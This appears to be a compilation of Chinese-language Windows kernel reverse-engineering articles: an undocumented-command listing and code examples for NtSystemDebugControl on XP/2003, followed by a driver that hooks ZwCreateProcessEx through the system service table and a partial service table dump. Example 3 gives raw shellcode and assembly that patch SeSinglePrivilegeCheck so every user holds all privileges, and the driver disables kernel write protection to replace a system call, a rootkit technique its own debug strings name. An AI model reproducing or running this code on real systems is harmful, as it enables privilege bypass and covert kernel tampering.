NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);

从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,

//获取KdVersionBlock
SysDbgSysGetVersion = 7,

//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
//但是不能从用户空间拷贝到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,

//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
//但是不能从内核空间拷贝到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,

//从物理地址拷贝到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,

//从用户空间拷贝到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,

//读写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,

//读写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,

//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,

//读写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,

SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,

//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

下面举几个具体应用的例子。

例子1:

下面代码演示读取KdVersionBlock:

//------------------------------------------------------------------------
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必须是0x28
NULL
);

printf ("KernBase: 0x%.8x\n",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x\n",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList: 0x%.8x\n",KdVersionBlock.DebuggerDataList);
//------------------------------------------------------------------------

例子2:

下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

//------------------------------------------------------------------------
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};

QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必须是0x0C
NULL,
0,
&ReturnLength
);

printf ("\"MZ\": %s\n",Buff);
//------------------------------------------------------------------------

例子3:

下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc

修改后:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90 nop
80580e67 b001 mov al,0x1
80580e69 c9 leave
80580e6a c20c00 ret 0xc

这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

//------------------------------------------------------------------------
#pragma comment(linker, "/entry:main /ALIGN:4096" )
#pragma comment(lib, "kernel32.lib")

#define sysenter __asm __emit 0x0f __asm __emit 0x34

void main(void)
{
__asm
{
int 3 //debug
jmp patch

SystemDebugControl:

mov ax,0x108
mov edx,esp
sysenter
ret

patch:

push 0xc901b090
mov eax,esp
push 0x04
push eax
push 0x80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0x0c //InputBufferLength
push ebx //InputBuffer
push 0x09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0x30 //只是为了修正堆栈
}
}
//------------------------------------------------------------------------

上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

//------------------------------------------------------------------------
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include
#include

#pragma comment(lib, "advapi32")

#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}

void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};

void BeepOn (int Freq)
{
BYTE b;

if ((Freq >= 20) && (Freq <= 20000))
{
Freq = 1193181 / Freq;
b = InPortB (0x61);
if ((b & 3) == 0)
{
OutPortB (0x61, (BYTE) (b | 3));
OutPortB (0x43, 0xb6);
}
OutPortB (0x42, (BYTE) Freq);
OutPortB (0x42, (BYTE) (Freq >> 8));
}
}

void BeepOff (void)
{
BYTE b;

b = (InPortB (0x61) & 0xfc);
OutPortB (0x61, b);
}

int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //声音频率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf ("This program require Windows XP or Windows 2003.\n");
}
return 0;
}
//------------------------------------------------------------------------


参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h

3.
在Windows 2003中HOOK ZwCreateProcessEx

作者:ZwelL

工作需要,想控制进程的创建,于是HOOK了ZwCreateProcess,后来发现xp和2003中创建进程的都用NtCreateProcessEx(参见[1])。
但是ZwCreateProcessEx未被ntoskrnl.exe导出,用softice的ntcall命令也没有看到,网上也没有找到相关代码。没办法,跟踪ntoskrnl!ZwCreateProcess
>u ntoskrnl!ZwCreateProcessEx

_ZwCreateProcess
0008:804e7ae2 bb32000000 mov eax, 00000032

但是ZwCreateProcessEx有9个参数,最后一个未知,4字节,猜成HANDLE型。
原型如下:
typedef NTSTATUS (*NTCREATEPROCESSEX)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown );
最终用硬编码HOOK 成功,代码如下:


#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

typedef NTSTATUS (*NTCREATEPROCESSEX)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown );

NTCREATEPROCESSEX OldNtCreateProcessEx;

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN 20
// Maximum length of NT process name
#define NT_PROCNAMELEN 16
ULONG gProcessNameOffset;

void GetProcessNameOffset()
{

PEPROCESS curproc;
int i;
curproc = PsGetCurrentProcess();
for( i = 0; i < 3*PAGE_SIZE; i++ )
{
if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
{
gProcessNameOffset = i;
}
}
}

BOOL GetProcessName( PCHAR theName )
{
PEPROCESS curproc;
char *nameptr;
ULONG i;
KIRQL oldirql;

if( gProcessNameOffset )
{
curproc = PsGetCurrentProcess();
nameptr = (PCHAR) curproc + gProcessNameOffset;
strncpy( theName, nameptr, NT_PROCNAMELEN );
theName[NT_PROCNAMELEN] = 0; /* NULL at end */
return TRUE;
}
return FALSE;
}

NTSTATUS NewNtCreateProcessEx(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown OPTIONAL)
{
CHAR aProcessName[PROCNAMELEN];

GetProcessName( aProcessName );
DbgPrint("rootkit: NewNtCreateProcessEx() from %s\n", aProcessName);
//DbgPrint("ok");
return OldNtCreateProcessEx(ProcessHandle,DesiredAccess,
ObjectAttributes,ParentProcess,InheritObjectTable,SectionHandle,DebugPort,ExceptionPort,Unknown);
}

NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called\n");

_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}

(NTCREATEPROCESSEX)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x32))=OldNtCreateProcessEx;

_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
int i;

DbgPrint("My Driver Loaded!");
GetProcessNameOffset();

// Register a dispatch function
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
theDriverObject->MajorFunction[i] = OnStubDispatch;
}

theDriverObject->DriverUnload = OnUnload;

// save old system call locations
//OldNtCreateProcessEx=(NTCREATEPROCESSEX)(SYSTEMSERVICE(0x32));
OldNtCreateProcessEx=(NTCREATEPROCESSEX)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x32));


_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}

(NTCREATEPROCESSEX)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x32))= NewNtCreateProcessEx;

_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}

return STATUS_SUCCESS;
}

这样很不爽,每次都要这样看索引号,问了SOBEIT,可以通过从NTDLL中这样获取服务索引号:
来自rookkit:

#include
#include

BOOL GetId( char *FuncName, ULONG *FunctionID )
{
//get the function's address
PBYTE Function = (PBYTE)GetProcAddress( GetModuleHandle( "ntdll.dll" ), FuncName );
/*
do some sanity checks,
make sure this function
has a corresponding kernel
level function
*/

*FunctionID = 0;

//func not found...
if ( Function == NULL )
{
return FALSE;
}

/*
77F5B438 B8 00000000 MOV EAX, _FUNCTION_ID_
77F5B43D BA 0003FE7F MOV EDX,7FFE0300
77F5B442 FFD2 CALL EDX
77F5B444 C2 1800 RETN XX
*/

//mov eax
if ( *Function != 0xB8 )
{
return FALSE;
}
/*
since the address of
the function which
actually makes the call
(SYSCALL) may change, we just
check for mov edx
*/
if ( *(Function + 5) != 0xBA )
{
return FALSE;
}

//call edx
/*if ( *(PWORD)(Function + 10) != 0xD2FF )
{
return FALSE;
}
//retn
if ( *(Function + 12) != 0xC2 )
{
return FALSE;
}*/

*FunctionID = *(PDWORD)(Function + 1);
return TRUE;
}

int main(int argc, char* argv[])
{
ULONG Id;

printf( "function name: NtCreateProcessEx\n" );

GetId( "NtCreateProcessEx", &Id );
printf( "function id: %08X\n", Id );
return 0;
}
///////////////////////////////////////////////////////////////////////

这样也不爽,要从用户态传到驱动层不方便,最后,用这个代码:

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#include "ntimage.h"


#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char

#define SEC_IMAGE 0x01000000

typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubsystemVersionLow;
WORD SubsystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
{
HANDLE hThread, hSection, hFile, hMod;
SECTION_IMAGE_INFORMATION sii;
IMAGE_DOS_HEADER* dosheader;
IMAGE_OPTIONAL_HEADER* opthdr;
IMAGE_EXPORT_DIRECTORY* pExportTable;
DWORD* arrayOfFunctionAddresses;
DWORD* arrayOfFunctionNames;
WORD* arrayOfFunctionOrdinals;
DWORD functionOrdinal;
DWORD Base, x, functionAddress;
char* functionName;
STRING ntFunctionName, ntFunctionNameSearch;
PVOID BaseAddress = NULL;
SIZE_T size=0;

OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};

IO_STATUS_BLOCK iosb;

//_asm int 3;
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

oa.ObjectName = 0;

ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);

ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);

ZwClose(hFile);

hMod = BaseAddress;

dosheader = (IMAGE_DOS_HEADER *)hMod;

opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);

// now we can get the exported functions, but note we convert from RVA to address
arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);

arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);

arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

Base = pExportTable->Base;

RtlInitString(&ntFunctionNameSearch, lpFunctionName);

for(x = 0; x < pExportTable->NumberOfFunctions; x++)
{
functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);

RtlInitString(&ntFunctionName, functionName);

functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0
// this is the funny bit. you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...
// oh no... thats too simple. it is actually arrayOfFunctionAddresses[functionOrdinal]!!
functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0)
{
ZwClose(hSection);
return functionAddress;
}
}

ZwClose(hSection);
return 0;
}

NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called\n");
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
int i;
UNICODE_STRING dllName;
DWORD functionAddress;
int position;
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
RtlInitUnicodeString(&dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll");
functionAddress = GetDllFunctionAddress("ZwCreateProcessEx", &dllName);
position = *((WORD*)(functionAddress+1));

DbgPrint("Id:%d\n", position);

return STATUS_SUCCESS;
}

上面的代码从驱动层加载NTDLL,再从输出表中找出函数地址,mov eax,[ID]对应的b8后面的字就是索引号,其实跟前一个代码作用是相似的,
只是驱动层没有LoadLibrary,只能这样解决了。将上面的代码整合起来就比较完善了,大家看着改吧。这里顺便把2003中的服务描述表发出来,希望对大家有帮助:


Service table address:0x80567980 Number of services:280=0x127
Index Address Parameters Name
-------------------------------------------------------------------------------------------------
0x0 0x8058ddce 6 NtAcceptConnectPort
0x1 0x80596b7e 8 NtAccessCheck
0x2 0x805976ce b NtAccessCheckAndAuditAlarm
0x3 0x805a8bb7 b NtAccessCheckByType
0x4 0x8059968a 10 NtAccessCheckByTypeAndAuditAlarm
0x5 0x80658705 b NtAccessCheckByTypeResultList
0x6 0x8065a9b2 10 NtAccessCheckByTypeResultListAndAuditAlarm
0x7 0x8065a9f5 11 NtAccessCheckByTypeResultListAndAuditAlarmByHandle
0x8 0x8059dc4f 3 NtAddAtom
0xb 0x806581e2 6 NtAdjustGroupsToken
0xc 0x80597836 6 NtAdjustPrivilegesToken
0xd 0x8065104b 2 NtAlertResumeThread
0xe 0x805971ea 1 NtAlertThread
0xf 0x805996cc 1 NtAllocateLocallyUniqueId
0x10 0x80647eb9 3 NtAllocateUserPhysicalPages
0x11 0x805a70dc 4 NtAllocateUuids
0x12 0x80583188 6 NtAllocateVirtualMemory
0x13 0x8058faff 2 NtApphelpCacheControl
0x14 0x805e92fb 2 NtAreMappedFilesTheSame
0x15 0x805aae6f 2 NtAssignProcessToJobObject
0x16 0x804ebbcc 3 NtCallbackReturn
0x18 0x805eb49d 2 NtCancelIoFile
0x19 0x804f7445 2 NtCancelTimer
0x1a 0x8058c43a 1 NtClearEvent
0x1b 0x805768ac 1 NtClose
0x1c 0x80596eea 3 NtCloseObjectAuditAlarm
0x1d 0x80626f6f 2 NtCompactKeys
0x1e 0x8065b8ff 3 NtCompareTokens
0x1f 0x8058dc82 1 NtCompleteConnectPort
0x20 0x806271d6 1 NtCompressKey
0x21 0x8058c55a 8 NtConnectPort
0x22 0x804eb14b 2 NtContinue
0x23 0x805b0b1e 4 NtCreateDebugObject
0x24 0x805aabaf 3 NtCreateDirectoryObject
0x25 0x80578522 5 NtCreateEvent
0x26 0x80668009 3 NtCreateEventPair
0x27 0x805790cb b NtCreateFile
0x28 0x8059f5ab 4 NtCreateIoCompletion
0x29 0x805e09eb 3 NtCreateJobObject
0x2a 0x80651805 3 NtCreateJobSet
0x2b 0x80592a39 7 NtCreateKey
0x2c 0x805f225d 8 NtCreateMailslotFile
0x2d 0x805863a1 4 NtCreateMutant
0x2e 0x8058f416 e NtCreateNamedPipeFile
0x2f 0x805c8e1e 4 NtCreatePagingFile
0x30 0x805a32a4 5 NtCreatePort
0x31 0x805bd684 8 NtCreateProcess
0x32 0x8058efe3 9 NtCreateProcessEx
0x33 0x806685b7 9 NtCreateProfile
0x34 0x80573eca 7 NtCreateSection
0x35 0x8059afa9 5 NtCreateSemaphore
0x36 0x805ab548 4 NtCreateSymbolicLinkObject
0x37 0x80588254 8 NtCreateThread
0x38 0x805a2688 4 NtCreateTimer
0x39 0x805a62a4 d NtCreateToken
0x3a 0x805bc212 5 NtCreateWaitablePort
0x3b 0x805b12c1 2 NtDebugActiveProcess
0x3c 0x805b17dc 3 NtDebugContinue
0x3d 0x80574c08 2 NtDelayExecution
0x3e 0x8059ab90 1 NtDeleteAtom
0x41 0x805b7979 1 NtDeleteFile
0x42 0x805eca87 1 NtDeleteKey
0x43 0x8065aa3a 3 NtDeleteObjectAuditAlarm
0x44 0x805a20d4 2 NtDeleteValueKey
0x45 0x80586f5e a NtDeviceIoControlFile
0x46 0x805c9f0b 1 NtDisplayString
0x47 0x8058051e 7 NtDuplicateObject
0x48 0x8059cc7c 6 NtDuplicateToken
0x4b 0x8059a085 6 NtEnumerateKey
0x4c 0x80667a42 3 NtEnumerateSystemEnvironmentValuesEx
0x4d 0x8059d849 6 NtEnumerateValueKey
0x4e 0x805ac037 2 NtExtendSection
0x4f 0x805e41d5 6 NtFilterToken
0x50 0x8059e01a 3 NtFindAtom
0x51 0x805920a7 2 NtFlushBuffersFile
0x52 0x8058a8b5 3 NtFlushInstructionCache
0x53 0x805e715b 1 NtFlushKey
0x54 0x805a130d 4 NtFlushVirtualMemory
0x55 0x80648b20 0 NtFlushWriteBuffer
0x56 0x8064852a 3 NtFreeUserPhysicalPages
0x57 0x8057b2bf 4 NtFreeVirtualMemory
0x58 0x8057f504 a NtFsControlFile
0x59 0x805e8674 2 NtGetContextThread
0x5a 0x8064de05 2 NtGetDevicePowerState
0x5b 0x805e8ccb 4 NtGetPlugPlayEvent
0x5c 0x80544ec4 7 NtGetWriteWatch
0x5d 0x805f12e2 1 NtImpersonateAnonymousToken
0x5e 0x80597fdf 2 NtImpersonateClientOfPort
0x5f 0x8059b9c8 3 NtImpersonateThread
0x60 0x805b77c8 1 NtInitializeRegistry
0x61 0x8064dc59 4 NtInitiatePowerAction
0x62 0x8058ec31 2 NtIsProcessInJob
0x63 0x8064ddf2 0 NtIsSystemResumeAutomatic
0x64 0x805bc19c 2 NtListenPort
0x65 0x805b9dfe 1 NtLoadDriver
0x66 0x805b2d8f 2 NtLoadKey
0x67 0x8062758c 3 NtLoadKey2
0x68 0x805b4a6c 4 NtLoadKeyEx
0x69 0x805a2342 a NtLockFile
0x6a 0x805e4eaa 2 NtLockProductActivationKeys
0x6b 0x805de064 1 NtLockRegistryKey
0x6c 0x805e4a65 4 NtLockVirtualMemory
0x6d 0x805ab8ba 1 NtMakePermanentObject
0x6e 0x805abb05 1 NtMakeTemporaryObject
0x6f 0x80647392 3 NtMapUserPhysicalPages
0x70 0x80647859 3 NtMapUserPhysicalPagesScatter
0x71 0x80589905 a NtMapViewOfSection
0x74 0x805ef59d 9 NtNotifyChangeDirectoryFile
0x75 0x80599f1c a NtNotifyChangeKey
0x76 0x80599d2d c NtNotifyChangeMultipleKeys
0x77 0x8058ef66 3 NtOpenDirectoryObject
0x78 0x80599615 3 NtOpenEvent
0x79 0x806680f4 3 NtOpenEventPair
0x7a 0x8057909d 6 NtOpenFile
0x7b 0x80634e03 3 NtOpenIoCompletion
0x7c 0x805af8b0 3 NtOpenJobObject
0x7d 0x80578d88 3 NtOpenKey
0x7e 0x80586508 3 NtOpenMutant
0x7f 0x805ed885 c NtOpenObjectAuditAlarm
0x80 0x80593613 4 NtOpenProcess
0x81 0x8057e110 3 NtOpenProcessToken
0x82 0x8057e816 4 NtOpenProcessTokenEx
0x83 0x8058a94b 3 NtOpenSection
0x84 0x805b3152 3 NtOpenSemaphore
0x85 0x8058ea10 3 NtOpenSymbolicLinkObject
0x86 0x805a2a8c 4 NtOpenThread
0x87 0x8057f976 4 NtOpenThreadToken
0x88 0x8057f8e5 5 NtOpenThreadTokenEx
0x89 0x805eb40f 3 NtOpenTimer
0x8a 0x805a24a2 3 NtPlugPlayControl
0x8b 0x805ae364 5 NtPowerInformation
0x8c 0x805a2c28 3 NtPrivilegeCheck
0x8d 0x805e48ce 6 NtPrivilegeObjectAuditAlarm
